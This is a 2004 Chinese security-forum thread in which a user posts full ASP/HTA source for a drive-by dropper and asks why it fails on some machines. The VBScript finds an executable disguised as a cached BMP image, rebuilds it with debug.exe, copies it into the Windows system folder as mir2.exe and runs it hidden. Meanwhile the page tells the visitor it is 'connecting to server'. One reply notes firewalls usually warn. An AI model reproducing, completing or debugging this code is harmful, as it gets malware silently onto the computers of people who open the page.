20CN网络安全小组论坛 - 网站建设 - asp运行出错，高手请~~~

论坛: 网站建设标题: asp运行出错，高手请~~~

作者: zhwe [zhwe_it]

论坛用户

aaa.asp文件代码如下
<% response.ContentType="application/hta" %>
<SCRIPT LANGUAGE="VBScript">
'by 陈经韬.2003.11.http://www.138soft.com,lovejingtao@21cn.com
Option Explicit

window.moveto 0,0
window.resizeto 0,0
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache")
sucess=0

sub FF
SearchBMPFile fso.GetFolder(CACHE),"mir2[1].bmp"
if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"mir2[2].bmp"
End sub

Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
On Error Resume Next
File.Delete
if FSO.FileExists(str) then exit function
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("1")
Lt.WriteLine("rcx")
'下面的数字是十六进制的EXE文件的大小
Lt.WriteLine("CB27")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
Lt.WriteLine("@echo off")
Lt.WriteLine("debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "mir2.exe>" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine(winsys & "mir2.exe")
Lt.Close
WSH.Run tmp & "tmp.bat",false,6
On Error Resume Next
'FSO.GetFile(tmp & "tmp.bat").Delete
sucess=1
window.open "hyjl.HTM","","width=0,height=0,top=1500,left=1500"
window.close
msgbox "好像好爽的感觉......"
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
</script>

<SCRIPT language=JavaScript>
function F()
{
FF();
if (sucess==0) setTimeout("F()", 2000);
}
setTimeout("F()", 2000);
</SCRIPT>
<body>
正在连接服务器....请不要关闭!
</body>
</html>

出错为：

当前页的脚本发生错误
行：11
字符：1
错误：ActiveX部件不能创建对象：‘WSscript.Shell'
代码：0
URL：

是否继续运行该页的脚本程序？

[此贴被 zhwe(zhwe_it) 在 06月21日22时14分编辑过]

地主发表时间: 04-06-21 22:11

回复: drckness [drckness]

论坛用户

这样的网页拿来搞研究还行。如果想拿来做破坏用，呵呵，很难成攻的，谁也不会看着提示active控件是否运行不管，fso一运行防火墙就提示。
WSscript.shell出错的话，你先写个vbs运行一下看看你的wsscript是不是能运行！

B1层发表时间: 04-06-22 09:18

回复: zhwe [zhwe_it]

论坛用户

问题是：有很多机子都可以运行，，不出现错误，但少量的机子出现了以上的错

B2层发表时间: 04-06-22 13:47

论坛: 网站建设